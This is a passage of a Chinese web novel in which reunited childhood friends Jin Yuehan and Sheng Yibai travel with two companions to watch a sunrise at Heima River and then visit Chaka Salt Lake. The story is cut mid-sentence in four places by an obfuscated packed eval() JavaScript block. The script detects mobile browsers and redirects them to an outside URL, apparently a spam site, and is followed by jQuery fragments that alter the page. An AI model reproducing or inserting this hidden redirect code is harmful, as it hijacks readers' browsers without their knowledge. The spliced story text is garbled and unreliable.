回酒店的路上,靳越寒总觉得路柯看自己的眼神很奇怪。 他松开抿紧的唇,小心问:“怎么了?” 路柯叹了口气,“你没说你跟盛屹白是发小,我还以为你们俩就是普通朋友。” 靳越寒很明显愣住了,张了张嘴,说不出一句话。 见他又开始不说话,路柯自顾自地说:“你说你们俩是发小,现在又在旅途中重逢,换作是我,应该也会像你这样闭口不谈。” “为什么?”靳越寒问。 路柯眼睛一亮,“因为难为情啊,怕对方不记得我。只有我一个人记得这段关系,我会觉得很尴尬很丢脸。” 他不像靳越寒那样看起来对什么都不感兴趣不在乎,相反他在乎的东西太多了,其中就包括面子。 靳越寒开始思考他这些话,如果盛屹白不记得他了,他应该会很伤心难过,而不是尴尬丢脸。 路柯体谅地笑笑,“所以这件事你没告诉我,自然也有你的原因。” “徐澈还问你是不是富二代。”路柯想了一会儿,继续说:“其实我一开始也怀疑,因为你住在金融中心,身上的东西看着都不便宜。” 靳越寒很快解释说不是,“那是我姑姑家,东西也都是我姑姑买的。” 钱都是他姑姑的,跟他没有半点关系。 “这样啊。”路柯开始复盘靳越寒曾经说过的话,“你是榆阳人,前段时间刚回国,暂时住在延桐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484820|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姑姑家,那你爸妈是都在榆阳吗,还是在国外?” 靳越寒咬紧唇,又松开,“不是,我爸妈很早就不在了,从小我就跟姑姑住在一起。” 听到这句话,路柯手一滑,差点没抓稳方向盘。 他胡乱眨了几下眼,感到很内疚和尴尬,“抱歉啊,我不知道,说错话了。” “没事。” 靳越寒摇摇头,从小到大总有很多人问起这个问题,他早就习以为常。 车里安静下来,路柯一时间对靳越寒的感情复杂起来,除了同情,还有很大一部分疑惑。 段暄只说和靳越寒是朋友,却没说两个人是怎么认识的,对于靳越寒的事他也知之甚少。 他知道段暄是精神科的医生,但不敢乱猜靳越寒会不会是段暄的病人。当时段暄拜托他时,只说靳越寒是他朋友,让他在旅途路上多照顾一下。 没有人规定跟医生有关系的就一定是病人,这样的话路柯自己和段暄还是那么多年的朋友,那他岂不是也有病人的嫌疑。 而且靳越寒看起来很正常,除了话少内敛以外,不像有病的样子。 意识到自己对靳越寒这样随意猜测不对,路柯更内疚了。加上刚才的说错话,他决定对靳越寒再好一点,想着要不要送台相机给他。 他现在全身上下,最值钱的就那几台相机了。 到了酒店,办理好入住手续,听到路柯说准备送台相机给他,靳越寒睁大眼睛,感到很惊讶。 他摆着手说:“不用不用,相机给我我也不会拍。” “那怎么办,刚才的事我挺过意不去的,我身上没有更值钱的东西了。” “没什么好过意不去的。”靳越寒背着包停在前面,“我们不是朋友吗,朋友之间不用计较这些。” 听到他这样说,路柯豁然开朗了。 “对,朋友。” 就像那些,原本以为要一个人走到黑的路,突然出现了并肩的朋友,所以从此路途一片光明。 他们之间不用计较这么多。 订的两间房在不同楼层,他们定好明天早上去黑马河看日出。九月十四日,日出时间可能在七点零二分左右,得提前一个小时出门。 在电梯分别时,盛屹白提醒说:“明天早上会很冷,记得穿厚点。” 路柯问会有多冷,盛屹白说:“大概零度到五度之间。” 零度到五度,要穿的衣服那可比延桐的冬天穿的还要多了。 路柯比了个OK的手势,拉着靳越寒走出了电梯。 电梯门关上,徐澈手抵着下巴,怀疑道:“你们俩真的是发小吗,怎么看都不像。” 盛屹白拧着眉,“怎么说?” “气氛不对你知道吗,你们俩待一块儿,总给我一种过冬的感觉,从你们旁边过都要多穿件羽绒服。” 盛屹白无语的笑了。 出了电梯,进到房间,盛屹白刚打开灯,徐澈站他身后问:“在青海湖那会儿,你俩站湖边说什么了?” “别跟我说没什么事,靳越寒当时都要哭了,也就路柯没发现,我可是看得清清楚楚。” 盛屹白脱掉那件黑色外套,理了理头发,“你这么好奇,明天自己问他。” 徐澈:“我也不是好奇,我是觉得你们俩心里藏着事,来旅游不就是为了放松忘记烦恼的吗,这样藏着事玩也玩不开心。” 盛屹白抬起眼,反问他:“现在的人,能有几个心里不藏事,你敢说你没有,路柯没有?” 盛屹白一副要把人看穿的模样,徐澈搓着手臂远离他。 “算了,我不说了,也不问了,你们自己的事自己解决吧。” 徐澈进了浴室,盛屹白在沙发上坐了会儿。本来想去阳台抽根烟,摸出烟盒又丢了回去。 微信群里路柯传了几张照片上来,盛屹白点开看,是两张今天下午的合照。 他的手指停在屏幕里靳越寒的脸上,最后保存了那两张照片。 保存完照片,靳越寒退出微信,点进相册又确认一遍有没有保存成功,结果发现存了四张。 他没舍得删重复的那两张,就这么存在相册里。 他的手机里干干净净,通讯录只有寥寥几人,微信好友不超过十个人。 就连相册都只有一些害怕自己忘记,而存下的琐碎的截图而已。 看着那四张合照,靳越寒躺在床上,想到八年前他跟盛屹白的合照去哪了,还是免不了难过。 那张合照,跟他的手机,连同和盛屹白的联系,一起消失在了八年前冬天那条漆黑的河里。 那年纽约的冬天冷得不真实,一切仿佛都早有预兆。 10. 独属日出 出发去黑马河看日出前,靳越寒没想到,五点半外面会这么冷。 他们每个人都穿上了自己此行最厚的衣服,真的像过冬一样。 靳越寒头上戴了顶护住耳朵的蓝色毛线帽,怕风大,他又把白色羽绒服上的帽子一起戴着,还穿了双保暖防水的鞋子。 走出外面,呼出的热气瞬间化作白雾,气温接近零度。 盛屹白穿了件黑色的冲锋衣,里面加了抓绒内胆,戴上黑色帽子和防风口罩,冷着脸不说话时让人感觉比这天还冷。 路柯和徐澈还没出来,靳越寒慢步走到他旁边,呼吸都放缓了,生怕盛屹白下一秒就离自己远远的。 盛屹白没说话,视线落在那裹得跟熊一样的靳越寒身上。 靳越寒小声问:“昨天晚上转给你的钱,你怎么没收?” 是昨天下午,可乐和水,还有糖的钱。 他好不容易鼓起勇气发了条信息给盛屹白,结果一晚上都没理他。 盛屹白抬眼,问他:“那一百块?” 靳越寒点头,轻嗯了一声。 “不需要。” 哪里需要这么多钱。 靳越寒一听,急忙道:“需要的,昨天的事我想谢谢你。” “没什么好谢的。”盛屹白说得轻巧,“不是我,换作是别人也会帮你,我只是顺手做了大家都会做的事。” 好像这样说,他昨天对靳越寒的关心和担忧,就不是出于私心一样。 靳越寒感到气馁,默默转过身不再与他说话。 没必要,不需要,这样不对,没什么好谢的…… 靳越寒想,盛屹白怎么比以前还要嘴硬。七岁那年刚跟盛屹白认识的时候,自己花了好长时间,嘴皮子都磨破了,盛屹白才松口愿意跟他玩。 现在盛屹白这样,他都不知道该怎么办才好,总不好再像以前那样死缠烂打。 没一会儿,路柯有条不紊的出来。 他刚把准备拍照时戴的手套塞进包里,看见一黑一白站在门口,吓得一激灵,还以为起猛见到黑白无常了。 见两人气氛紧张,他连玩笑都没开,默默站在一边。 徐澈最后一个急急忙忙出来:“抱歉我晚了,一直找不到厚袜子,翻了半天的行李箱。” 盛屹白说:“不是就放在你床边?” “操,昨晚我以为那是你的,反手扔进你箱子里了。” 盛屹白:“……” 路柯在一旁笑得合不拢嘴,徐澈听见了,说他:“你怎么穿得像一根香蕉,帽子绿的,衣服黄的,裤子黑的。” 路柯拉着脸,推了一把徐澈,“喂,这是我最厚的衣服了,我还没说你穿得跟圣诞树一样。” “什么圣诞树!”徐澈急得跳脚,“路柯你看清楚了,我这衣服不是绿,是青的!” 路柯把脸一瞥,当做没听见,任由徐澈在那里解释。 见徐澈还要在那跟路柯辩解,盛屹白直接上手把人拉走,“再不走就赶不上日出了。” 靳越寒站在原地,盯着盛屹白的背影好一会儿,才跟着路柯上车。 他觉得盛屹白穿得还是太少了,他好像总是不喜欢穿很多衣服,往年榆阳的冬天特别冷,盛屹白也只会在外面穿一件羽绒服。 不像他,因为怕冷,总是会把自己裹成个粽子一样。 因此,盛屹白的妈妈每年织的毛衣都给了靳越寒穿。 酒店有很多人跟他们一样要去看日出,靳越寒看见甚至有人直接把酒店的被子裹在了身上。 路柯叹了口气,问:“我这穿得总比那些裹被子的好吧?” 见他皱着眉,还在在意刚才徐澈的话,靳越寒安慰道:“你这样很可爱,不像香蕉。” 路柯捂着脸笑了,还不如直接说他像香蕉呢。 他们一路开到环湖西路沿线,那里有很多可以下到湖边的地方。找到一处视野开阔的位置,路柯架好三脚架,把相机的位置固定好。 除了他们几个以外,后面陆陆续续来了很多人,此时六点五十分,离日出还有十多分钟。 破晓前的黑马河,像是凝固的冰蓝世界一般,寒气像无数细腻的针穿透厚实的衣服,刺向每一寸肌肤。 脚下,环湖西路的荒草覆盖着一层晶莹的霜花,踩上去会发出细微的碎裂声。天色将亮未亮时,呼出的气息瞬间凝成了白雾,浑身都被寒风吹得麻木僵硬。 靳越寒冻得打了好几个喷嚏,他接过路柯递来的热水,喝了好几口身体才暖起来。 他手上拿着保温杯的盖子,刚想问是谁带来的杯子,转过身就看见杯身在盛屹白手里。 原来是盛屹白的吗。 路柯也带了个保温杯来,但被徐澈喝的差不多了。 还回去时,靳越寒偷偷看了眼盛屹白被口罩遮住一半的脸,注意到他眉间舒展,并没有一丝的不悦。 他还以为盛屹白会不高兴,因为盛屹白有洁癖,不喜欢和别人共用一个杯子。虽然他以前经常喝盛屹白的水,但不知道现在还可不可以。 湖边的风越来越大,几乎要睁不开眼。 靳越寒踩着石头往后退时,身体一斜没踩稳,以为要摔下去时,突然一只手横在了他的腰间,将他扶稳。 他抓着盛屹白的手没放,还没从刚才的惊吓里缓过神来。 盛屹白干脆牵着他往后站了点,让他站稳别摔了。 靳越寒乖乖点头应了声好,不舍地松开了自己的手。他把手伸进口袋里,一遍遍回头确认盛屹白是不是还在旁边。 他需要通过这样的确认来获取一些安全感,一些盛屹白在时才会有的安全感。 见他老看自己,很怕自己会走一样,盛屹白干脆说:“我就在这里。” 靳越寒这才放下心来,没再回头看。 人群中,不知道是谁喊了句“太阳出来了”,紧接着周围的人跟着哇了一声。 路柯和徐澈调好相机,急急忙忙挤到靳越寒和盛屹白旁边,四个人站在一起,仰头跟着哇了出来。 起初,是铁灰的湖天相接处渗出了一抹淡粉,这抹粉迅速晕染开,点燃了云层底部,将它们化作一片燃烧的橘红熔金。 冰蓝的湖面开始倒映这天空的烈焰,突然,一道锐利得几乎刺眼的金芒,像利剑一般,猛地刺破了浓厚的云霞。 紧接着,那一点日出挣脱了地平线的束缚,不过瞬间,万丈光芒倾泻而下,撕裂了所有的灰暗和寒冷。 当日出来临时,光芒照耀着整片大地,高涨的湖水渐渐退去,所有的寒冷和等待,都在这无与伦比的美面前,变成了无数的惊叹。 大家在这一时刻不约而同拿出相机拍摄,靳越寒想了会儿,决定也拍一张。但前面站了好些人,甚至还有比他个高的挡住了视线。 他刚准备踮起脚拍,突然后背被人撞了下,手机差点甩出去。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484821|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 路柯不高兴了:“那人怎么回事,道歉都不说就这么走了!” 靳越寒说自己没事,让路柯别生气。当他第二次准备踮起脚时,手一空,手机被抽走了。 盛屹白侧过脸问他:“要拍几张?” 靳越寒反应过来,回答:“一两张就好。” 他看着盛屹白穿过人群挤到前面,拿着他的手机帮他拍他想要的日出。 日光漫溢中,盛屹白的背影被灿烂的阳光包围着。 靳越寒突然想,啊,这个才是他想要的日出。 跟别人不一样的,独属于他的。 如果往后的日出都像今天这样,那他的每一天都会无比灿烂。 - 看完日出,原本攒有的一腔热情被困意消磨了个干净。 起太早了,大家都哈欠连连。他们今天的计划是先回酒店睡到十二点,吃完午饭再前往茶卡盐湖。 这几天一直在开车,路柯的腰不好开始痛,靳越寒又开不了车,于是他问徐澈能不能帮他开回去。 徐澈逗他,“可以啊,叫声哥来听听。” 路柯是他们几个中年纪最小的,徐澈又是最大的那个。 “我才不叫。”路柯脸一转,像是生气,“不帮就不帮,我找盛屹白。” 说着他就要去找盛屹白,徐澈追上去喊他。 “路柯!路柯!我没说不帮,我帮你不就是了,怎么还生气了。” 路柯停下来,把车钥匙扔给他。 徐澈接过,笑了笑,问他还有没有别的要帮忙的。 看见徐澈一直跟在路柯后面,两个人一会儿笑一会儿严肃的,靳越寒觉得神奇,怎么没发现他们已经熟到这种地步了。 人和人的关系,原来是可以在短短几天建立起来的。 他蹲在草地边好一会儿,听见盛屹白叫他才站起身,跟着他往回走。 徐澈甩着车钥匙上车时,靳越寒问:“路柯呢?” “他腰不舒服,今天我来当你的司机。” 听到这个,靳越寒心里很不是滋味,早知道考个驾照再过来了,这样路柯也不至于一直开车。 “那他没事吧?” 徐澈想了会儿,“应该没事吧,走路没问题,就是开车不太行。” 靳越寒点点头,走路没事就好。 徐澈连上蓝牙,问他:“要听歌吗?” 靳越寒说可以,后来回去的路上他一直在后悔自己说的这两个字。徐澈放了一路的摇滚乐,没事就嚎两嗓子。 徐澈问他会不会嫌吵时,他还要强颜欢笑,说没关系。 透过后视镜,他看了眼后面跟着的黑色越野,突然有点好奇盛屹白和路柯一起会说些什么话。 不过也可能不会说什么,盛屹白那么高冷,昨天晚上路柯还说他看起来不好相处,碰上他感觉说什么话都不合适。 从上车起,盛屹白真就没说过一句话,搞得路柯有些尴尬。 他正准备闭眼休息会儿,旁边的人突然开口。 “你跟靳越寒,为什么会一起来这里?” 路柯猛地转过脸,盛屹白继续问:“你跟他是什么关系?” 周围的车辆渐渐超过他们,他们的车速明显慢了不少。 路柯一眯眼,打量着他:“你好奇这个?” “对。” 盛屹白就这么承认了。 “我好奇这个。” 11. 一无所知 盛屹白这么大大方方承认,反倒是路柯愣住了。 他把身子坐正,回答:“我跟他就是一起旅游的朋友。” 见盛屹白看了自己一眼,路柯继续说:“他上个月刚回国,准备去西北旅游,但在国内好像没什么熟人,段暄就联系我拜托我跟他一起去。” 盛屹白皱眉:“段暄是谁?” “噢,我一个在国外的医生朋友,他跟靳越寒好像也认识挺多年的。” “医生朋友?” 盛屹白第一反应是靳越寒生什么病了吗,不然怎么会认识医生。 路柯摇摇头,“我一开始也这样以为,但没听说靳越寒生病,而且他看起来挺健康的,再说了,又不是所有和医生认识的都是病人。” 道理是这么个道理,盛屹白沉思片刻,才问:“所以你们只是朋友?” “对啊,前后认识不超过一星期。” 路柯说得坦荡,盛屹白反而觉得自己可笑了。 原来他们单纯只是朋友,他还以为路柯对靳越寒这么关心,是出于别的什么。 盛屹白的表情没有一开始那么冷淡,此刻缓和了许多,路柯以为这是破冰成功了。 见盛屹白也不像平日里看起来对靳越寒那么冷淡、满不在乎,反而主动好奇他的事,他又问: “你和靳越寒呢,真的只是发小吗,是不是以前发生过什么?” 直觉告诉他,他们之间肯定发生过什么,不然靳越寒不会对他们的关系这么在意,盛屹白也绝没有表面看起来那么轻松随意。 当局者迷,他这个旁观者看得清。 盛屹白很快又变成了那副冷淡的模样,轻描淡写:“没什么。” 原本以为热络的气氛又冷下来,就连车窗内投射进的阳光都显得苍白。 见他不想说,路柯也不多问,只是自顾自说:“发小也挺好的,我还怕他从小到大都没什么朋友,那样也太孤单了。” 回忆起刚开始接触靳越寒时的模样,路柯垂着眼,“我不知道他以前发生了什么,见到他的时候就像现在这样沉默寡言不爱说话,整个人看起来很不好。” “当时段暄问我能不能跟他一起去旅游,我想都没想就答应了,就觉得自己应该跟着一起去。” 明明是前段时间的事,不知道为什么路柯总觉得过了很久一样。 他看向盛屹白,声音诚恳:“如果你们曾经关系很好,我希望你可以帮帮他,至少让他看起来开心乐观一点。” “你看得出来吧,靳越寒他很在乎你。” “他一个来旅游,连风景都不在乎的人,却那么在乎你。” 盛屹白怎么会看不出来,不管是在日月山,还是青海湖,靳越寒的视线一直停留在他身上。 只是他说了不好听的话,让靳越寒和他保持距离。 到了酒店,路柯下车后,盛屹白一直在车里没下去,徐澈来喊他时他只是摇摇头,说自己等会儿再走,却在车里坐了一早上。 朝阳一点点从熔金渐褪成温煦浅黄,泼洒的光愈发炽烈。 盛屹白好几次打开烟盒,又颓丧地扔在一旁。 他总自信的以为自己很了解靳越寒,能从他的表情动作察觉到他想做什么,但其实那么多年了,什么都变了,他就算看得出来又怎么样,他什么都不知道。 不知道靳越寒这几年经历了什么,不知道他为什么会变成现在这样沉默寡言、不爱说话,一副把自己封闭起来的样子,也不知道这几年他过得究竟好不好。 他对现在的靳越寒一无所知。 他甚至不敢去想,这几年靳越寒是不是过得不好。 要是靳越寒过得不好…… 那他们那么多年的分开还有什么意义。 - “他问了你跟我的事?” 靳越寒急忙起身,有些难以置信。 路柯省去一些不能说的,“对,问我们什么关系,我说我们就是正常的朋友。” “还问了什么吗?” “没了,他这个人话特别少。” 靳越寒说了声好吧,重新坐回床边,不懂盛屹白为什么要问这些。 原本都已经拉上窗帘准备睡觉了,路柯一转身,发现靳越寒还在抱着手机,不知道看什么这么投入。 他喊了靳越寒一声,问他:“看什么看这么久?” 靳越寒眼睛亮亮的,像盛了满天银河,说:“在看今天早上拍的日出。” “就盛屹白给你拍的那几张?” 靳越寒点头,路柯伸过手,“给我看看拍的怎么样。” 看完后他把手机还回去,说:“拍得挺好的,想不到盛屹白连这个都会。” 靳越寒的嘴角弯起一个小小的弧度,心想当然了,盛屹白就是什么都会,做什么都很好。 “你想不想看我拍的?” 路柯边问,边把相机包打开。靳越寒一说好,他就飞快坐到他旁边,献宝似的一张张滑给他看。 昨天在青海湖时,靳越寒只看了一两张,现在陆陆续续把路柯觉得拍得好的都看完,他才意识到,路柯的摄影技术这么好。 比他以前工作时,见到的那些扛相机的人拍的都好。路柯在摄影这方面,是真的很有天赋。 听到他说这些,路柯不好意思地笑笑。 “听你这么一说,我心里舒坦多了。” 靳越寒不是很明白这句话的意思,他眨了下眼,就这么看着路柯。 路柯笑着叹了口气:“我爸妈一直不同意我干摄影,觉得我这个人想一出是一出,没个定性,不够稳重,认为我做什么都不会成功。” “前段时间还一直说我不是干这行的料,劝我趁早改行,也不知道是他们故意这样说的,还是我真的不适合干这行,导致我一度自我怀疑过。” “但是现在听你说这些,有个人夸我,我就觉得很有信心,自己也没那么糟嘛。” “我只是实话实说,你拍的很好,也很有天赋,他们说的都不对。” 靳越寒想起之前在书里看到的话,又说:“谁也不是一开始就能找准自己的人生定位,总要不断尝试,才知道自己究竟想要什么。” 说完,他不知道自己说的究竟对不对,对路柯有没有帮助,很担心自己说错了话。 路柯愣了会儿神,“我发现,你其实是个挺温暖的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484822|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温暖? 靳越寒瞳孔微微一颤,“温暖吗?” “是啊。”路柯笑了笑。 在靳越寒还在想自己哪里温暖时,路柯一边收起相机,一边归纳总结:“你说的对,总要不断尝试才知道自己想要什么,不稳重就不稳重吧,起码我在做自己认为值得的事。” “他们不支持不信任我,那我就越要证明给他们看,我是可以做成功一件事的。” 年少气盛,总有无限的精力去做那些自己认为值得的事。 往后回头看时,才会不留遗憾,毕竟曾经真的为此努力过。 有些热情和坚持就像向日葵,需要自己先朝着光生长,才能吸引他人驻足欣赏。 靳越寒突然庆幸,路柯是这样一个热情开朗的人,像个小太阳,总会拨开云层散发自己的光和热。 在路柯睡着以后,靳越寒睡不着,躺在床上盯着天花板看了很久。 旅程是短暂的,总要回归现实生活。 可他一点对未来的打算都没有,不知道将来该做什么,该去哪里。 路柯有自己热爱和想要坚持去做的事,那他呢,他有吗。 曾经是有的,但肯定不能做了,让他去做别的,他也没有信心能够做好。 姑姑说他可以什么都不做,不用非要跟别人一样,可他想像一个正常人一样,有自己的生活和工作。 不想像一个脱离社会的边缘人,总是那么格格不入,那么的迷茫和不安。 人生的起伏太大,许多个午夜梦醒时分,他总是难以接受这样的落差,不敢相信他现在真的,什么都没有了。 好像失去爱人和朋友还不够,最后还要失去梦想。 四年前在美国发生那件事以后,大家都说他可怜,平白丢了前途,还把名声搞这么难听。 可除了可怜,他更觉得自己可恨。 这么多年他总在自责内疚,要是当初自己没有说那些话,自己早一点察觉,是不是就可以挽救,就不会发生后面的事了。 但这种假设,连在梦里都不曾成立过。 所以他现在的一切,也都是咎由自取,他做不到原谅这样的自己。 所谓的温暖,也只是一种错觉。 半梦半醒间,他像是看见了那个短暂相处过几个月的人,可连名字都没能喊出口,就被路柯的声音叫醒。 “靳越寒!靳越寒!” 路柯推着他的肩膀,“你怎么睡这么熟,闹钟响了好久都没醒,快点收拾一下,准备下去吃饭了。” 靳越寒胡乱点着头,坐在床上好一会儿才起来收拾。 午饭定在酒店附近的一家餐馆,中午的人最是多,他们在熙熙攘攘的人群中搜索了好一会儿,才看见先来点餐的徐澈。 “这里这里!”徐澈朝他们挥着手,脸上洋溢着笑容。 这一幕定格,恍惚间靳越寒感到莫名的熟悉感,透过徐澈看到了某个身影,清醒过来又发现不是。 他用力拍了下额头,让自己不要犯迷糊。 “盛屹白呢?”路柯问。 “他啊,”徐澈啧了一声,摇摇头:“一早上没回房间,也不知道干什么去了。” 12. 炙热期待 盛屹白出现时,菜刚好全部上齐。 靳越寒想问他早上去哪了,察觉到盛屹白敛着眉,像是心情不好,他收起了想问的话。 他猜,盛屹白是不是不高兴了,他为什么不高兴。 这些疑惑萦绕在靳越寒脑子里,直到盛屹白起身走了他还没想明白。 中途徐澈有问盛屹白早上干什么去了,盛屹白说:“睡不着,附近逛了逛。” “那你逛到什么了,附近是不是还有别的好玩的?” 盛屹白摇摇头,徐澈嗐了一声,“那就出发去茶卡盐湖吧,过去得三个多小时,够呛的。” 中午的日头正足,在西北连着三天都是大晴天。 靳越寒把自己的东西搬到车上,他远远瞧着徐澈拎着路柯的包过来,说路柯腰还是不行,今天都由他来开这辆车。 靳越寒默默应了声,视线落在不远处的盛屹白身上。 徐澈瞧见了,问:“怎么了,想盛屹白过来开?” “不是!” 靳越寒着急否认的样子局促又好笑,徐澈笑眯着眼,承诺道:“下次啊,下次我跟他换,让你俩一辆车。” 靳越寒的脸不知不觉变热,他连忙摆手说不用,自己不是那个意思。 徐澈哪管他是不是这个意思,冲着他吹了声口哨,一脸“包在我身上”的表情。 最后靳越寒没再解释,他想这样也挺好,就是不知道盛屹白愿不愿意。 一路向前,车子驶出山峦,离开湖区后,道路开始缓缓爬升,眼前是连绵起伏的草山,因为季节而呈现出深浅不一的黄绿色调。 翻越橡皮山垭口,随着海拔的升高,植被逐渐变得低矮疏松,能看见大片金色的草甸和耐寒的灌木丛。 直到下坡,柴达木盆地的广阔天地在眼前铺开,强烈的阳光让远方的景物有些蒸腾感,但盆地的辽阔苍茫感扑面而来。 绿色越来越少,大地的主色调变成了土黄、灰褐,山体变得更为干燥、棱角分明,呈现出典型的荒漠地貌特征。 巨大的风力发电机矗立在远方,白色叶片在阳光下缓慢旋转。向茶卡方向望去,天边隐约可见青灰色的山峦轮廓,那是茶卡盐湖所在的盆地边缘。 靳越寒安静地坐着,眼珠子不停往外看,将景色收入眼底,没有像徐澈一样不断发出嗷嗷声。 距离茶卡镇越来越近,路边开始出现大片的盐碱地。白色的盐霜覆盖在裸露的土地上,在阳光下闪闪发光。 穿过茶卡镇,空气中似乎都带上一丝若有若无的咸味,镇上的建筑在午后的阳光下显得安静。很快,巨大的盐湖景区入口和标志就出现在了眼前。 他们到达茶卡天空壹号景区,排队买完票进去,入口处又花十块钱租了防水鞋套。 门票包含环湖小火车,从驼峰广场一路到终点盐湖湿地,途径五个站点,每处景致都不同。这样一来不用长时间步行,傍晚返程时也就不会那么疲惫。 上火车后,靳越寒随便找了个位置坐下。眼看着盛屹白路过他,他默默转回头,手指攥紧衣角。 突然,一道黑色影子出现在他余光里,他侧过脸,恰好跟盛屹白对视上。 原本走到后面的人又折返回来,坐在了他身边。 靳越寒喉结一动,手指忽然就松开了。他和盛屹白肩膀挨着肩膀,在拥挤的车厢里就这么静静坐着。 衣料细微的摩擦声和抑制不住的心跳声,悄悄隐匿在这嘈杂的人声里。就算一言不发,靳越寒心里也像裹了蜜一样甜。 见前排没位了,路柯和徐澈坐到他们后面。 路柯拍拍盛屹白,问他:“你之前来过这吗,这到底有没有网上说的那么漂亮?” 靳越寒僵着身子没敢动,盛屹白的嘴唇就像对着他的耳朵一样,听到的每一个音节、感受到的每一次气息,都使他的耳尖又热又痒。 “你要听实话吗?”盛屹白说。 “我靠,盛屹白……”徐澈咬牙切齿,“你别告诉我这里是照骗啊,我不听。” 盛屹白扯了扯嘴角,“看过就知道了。” 每个人来的时间不同,看到的景色不同,对这里的评价也不同。与其听别人怎么说,不如自己亲眼看过,亲身经历和道听途说毕竟是两回事。 路柯笑了几声,安抚徐澈:“来都来了,管他呢,反正我们会P图,到时候你一P我一P,回去就说这里宛如仙境。” 徐澈打了个响指,赞同:“好主意,就这么办!” 反正他们的朋友圈,哪张照片不是P完了再发。 听着他们说话,靳越寒便看向外面的风景,离湖水越来越近,天空都格外澄澈起来。 他左手边坐着个穿黄色衣服的小女孩,笑容腼腆可爱,盯着他看了好一会儿,才小声向他打了个招呼。 “嗨~” 声音软软糯糯的。 起初靳越寒以为不是和自己说话,但等了好一会儿也没听见别的声音。 他试探性地回了个“嗨”,小女孩立刻笑得更开心了,两只眼睛弯成月牙状,笑得纯真无邪。 还是头一回有小孩跟他打招呼,靳越寒在口袋里摸了许久,最后摸出三颗水果糖。 是昨天盛屹白买给他的。 他把两颗糖给她吃,给自己留了一颗。 “哇!”小女孩惊喜地望着靳越寒。 女孩的妈妈在一旁笑着:“你要谢谢哥哥啊,不能拿了就吃的。” 已经含了一块糖的女孩眯着眼笑,“谢谢哥哥。” 靳越寒瞧见他们是一家人来的,妈妈坐在她旁边,而爸爸坐在前面,时而回头看女儿在做什么。 突然,女孩问他:“哥哥,你自己一个人来的吗?” 上车到现在也没见他跟谁说过话,好像他是一个人来的一样。 换作是以前,靳越寒肯定又要因为这句话胡思乱想,明明他不是一个人,为什么会让人感觉自己是一个人。 太过于敏感,习惯往最坏的地方想,他从小就这样。 虽然现在也还是止不住乱想,但他很快解释说:“不是,我……跟朋友。” 有些敏感,他希望是可以避免的。 女孩四处看,“他们在哪里啊?” 这时,安静听了很久他们对话的盛屹白举起手。 “这里。” 路柯和徐澈一起举着手,笑道:“还有这里,小妹妹。” “哇,这么多人!”女孩回头对她妈妈说:“妈妈,我们才三个人,他们居然比我们多一个!” 妈妈笑了,周围的人听了,也都笑了起来,融洽舒适的氛围,让这段旅途更加惬意。 一直到下车,靳越寒还在反复回味刚才他们的举手发言,特别是盛屹白。 他说他们是朋友,他这是承认他们是朋友了吗。 和盛屹白是朋友的话…… 靳越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484823|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒不知不觉笑起来,能和盛屹白像以前一样,从朋友的关系开始,让他感到很开心。 路柯走在他旁边,“是不是这里太美,都笑得合不拢嘴了?” 靳越寒回过神,顺着他的话,看向面前如镜一般倒映着天空的湖面。阳光直射下,湖面将整片蔚蓝天空与棉花糖般的云朵完整复刻。 天与湖的界限彻底消融,仿佛踏入一片无重力的蓝白幻境中。 湖水从近岸的透明渐变为湖心的蒂芙尼蓝,阳光穿透泛起细碎银光,宛如撒落湖面的钻石。 木质栈道蜿蜒探入湖中,湖水漫过路面,许多人穿着鞋套走在上面,身影倒映水中,仿佛这里真的是天空之镜一般。 今天的天气格外晴朗,天空蓝得不真实,盐湖美得也不真实。 他们四个下了水,踩在盐晶上,置身湖中,靳越寒有种无法形容的感觉。 这里除了镜湖,还能看见盐雕群与雪山,红色观光小火车,格桑花海等,亲眼目睹确实与只看图片有很大不同。 此时的光线逐渐柔和,湖面蓝调愈发深邃,徐澈和路柯格外兴奋,趁着兴头到处拍照,感慨幸好来了。 大家都在一个劲儿往前走,靳越寒却停在原地,盯着那些盐晶不动。这些盐粒凝结成珊瑚状,在阳光下剔透如水晶,他有点想带些回去。 